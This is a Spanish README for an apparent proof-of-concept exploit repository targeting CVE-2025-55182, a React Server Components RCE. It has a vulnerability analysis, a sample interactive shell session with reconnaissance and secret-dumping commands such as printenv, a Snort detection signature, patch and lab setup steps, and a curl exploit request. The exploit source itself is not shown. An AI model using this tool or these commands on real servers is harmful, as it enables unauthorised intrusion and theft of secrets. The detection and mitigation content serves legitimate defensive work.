Exploit de prueba de concepto para CVE-2025-55182, un RCE crítico no autenticado en React Server Components. Incluye exploit automatizado en Python, análisis técnico, reglas de detección y configuración de entorno de laboratorio para pruebas de seguridad autorizadas.
Una prueba de concepto integral y recurso educativo para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código que afecta a los Componentes del Servidor React con una puntuación CVSS de 10.0.
SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal según diversas leyes, incluida la Ley de Fraude y Abuso Informático (CFAA) en los Estados Unidos y legislación similar en todo el mundo.
Debes:
El autor y los colaboradores:
Al usar esta herramienta, reconoces que entiendes y aceptas estos términos.
React2Shell es una vulnerabilidad crítica descubierta en diciembre de 2025 que afecta a los Componentes del Servidor React (RSC) y los frameworks que los implementan, particularmente Next.js. La vulnerabilidad permite la ejecución remota de código no autenticada a través de una única solicitud HTTP manipulada.
Este repositorio contiene:
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2025-55182 |
| Puntuación CVSS | 10.0 (Crítica) |
| Vector de Ataque | Red |
| Complejidad del Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Impacto | Compromiso completo del sistema (RCE) |
| Fecha de Divulgación | Diciembre 2025 |
create-next-app son explotablesVersiones vulnerables:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Versiones parcheadas:
Versiones vulnerables:
Versiones parcheadas:
La vulnerabilidad existe en la función requireModule dentro de la lógica de deserialización de los Componentes del Servidor React:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // LÍNEA VULNERABLE - Recorrido de la cadena de prototipos
}
La falla permite a los atacantes recorrer la cadena de prototipos de JavaScript a través del protocolo React Flight, accediendo al constructor Function mediante propiedades como constructor.constructor, lo que permite la ejecución de código arbitrario.
__proto__ para crear una estructura autorreferencialconstructor.constructor para acceder a Function()child_process.execSync()┌─────────────────────────────────────────────────────────────┐
│ El atacante envía multipart/form-data con cabecera Next-Action │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ El servidor deserializa la carga útil mediante el protocolo React Flight │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Se procesa el objeto chunk falso con contaminación de __proto__ │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ El manejador de Blob invoca _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resuelve a Function("código_malicioso") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Código arbitrario ejecutado con privilegios del proceso Node.js │
└─────────────────────────────────────────────────────────────┘
requests# Clonar el repositorio
git clone https://github.com/tunombredeusuario/react2shell-poc.git
cd react2shell-poc
# Instalar dependencias
pip install -r requirements.txt
# Hacer el script ejecutable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - RCE Crítica ║
║ ║
║ Afectados: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Solo para Laboratorio ║
╚═══════════════════════════════════════════════════════════╝
[?] Introduce la información del objetivo:
Host (ej., localhost o 192.168.1.100): localhost
Puerto (ej., 3000): 3000
[React2Shell]> id
[*] Objetivo: http://localhost:3000/
[*] Comando: id
[*] Construyendo carga útil de explotación...
[*] Enviando solicitud de explotación...
[+] Código de estado de la respuesta: 200
[*] Analizando respuesta...
╔═══════════════════════════════════════════════════════════╗
║ SALIDA DEL COMANDO ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# Reconocimiento del sistema
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# Exploración del sistema de archivos
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Variables de entorno (a menudo contienen secretos)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Información de red
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| Comando | Descripción |
|---|---|
<cualquier comando de shell> | Ejecutar comando en el objetivo |
help | Mostrar mensaje de ayuda |
exit / quit / q | Salir de la herramienta |
Implementa esta regla de Snort para detectar intentos de explotación:
alert http any any -> $LAN_NETWORK any (
msg:"Posible intento de Next.js React2Shell / CVE-2025-55182";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
Lógica de Detección:
Next-Action (específica de RSC)multipart/form-dataname="0", status: "resolved_model", then: "$1:__proto__:then"Usa esta regla de OSQuery para escanear versiones vulnerables de paquetes:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Detecta versiones vulnerables de paquetes de React Server Components afectados por CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
Beneficios:
Busca estos patrones en los registros de tu aplicación:
- Solicitudes HTTP POST con cabecera "Next-Action"
- Solicitudes inusuales multipart/form-data a la raíz de la aplicación
- Mensajes de error que contienen "NEXT_REDIRECT" con valores digest inesperados
- Pico en errores 500 con trazas de pila relacionadas con React
- Creación de procesos hijos desde Node.js (execSync, spawn, exec)
# Verificar versiones actuales
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# Actualizar React a la versión parcheada
npm install [email protected] [email protected]
# Actualizar Next.js a la última versión parcheada
npm install next@latest
# Verificar actualizaciones
npm list react react-dom next
# Limpiar caché y reconstruir
rm -rf .next node_modules package-lock.json
npm install
npm run build
Bloquear patrones sospechosos:
- Solicitudes con cabecera "Next-Action" desde fuentes no confiables
- Datos de formulario multiparte con estructuras JSON sospechosas
- Solicitudes que coinciden con patrones de firmas de explotación
# Ejemplo de flujo de trabajo de GitHub Actions
name: Escaneo de Seguridad
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Verificar paquetes React vulnerables
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
Configurar alertas para:
# Crear una nueva aplicación Next.js con versión vulnerable
npx [email protected] vulnerable-app
cd vulnerable-app
# Instalar versión vulnerable de React
npm install [email protected] [email protected]
# Iniciar el servidor de desarrollo
npm run dev
Crear un Dockerfile:
FROM node:18-alpine
WORKDIR /app
# Crear una aplicación Next.js básica
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# Instalar versiones vulnerables de React
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
Construir y ejecutar:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
Crear docker-compose.yml:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
Ejecutar:
docker-compose up -d
Probar con curl:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
¡Las contribuciones son bienvenidas! Por favor, sigue estas pautas:
git checkout -b feature/mejora)git commit -am 'Añadir nuevo método de detección')git push origin feature/mejora)Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
Tinashe
Cerberus Secure es la división de ciberseguridad de iConnect SA, especializada en:
Esta vulnerabilidad fue divulgada de manera responsable por investigadores de seguridad al equipo de React. Esta PoC se publica después de:
Cronograma:
Recuerda: Usa esta herramienta de manera responsable y solo en sistemas que estés autorizado a probar.
Para preguntas, inquietudes o problemas de seguridad con este repositorio, abre un issue o contacta directamente al mantenedor.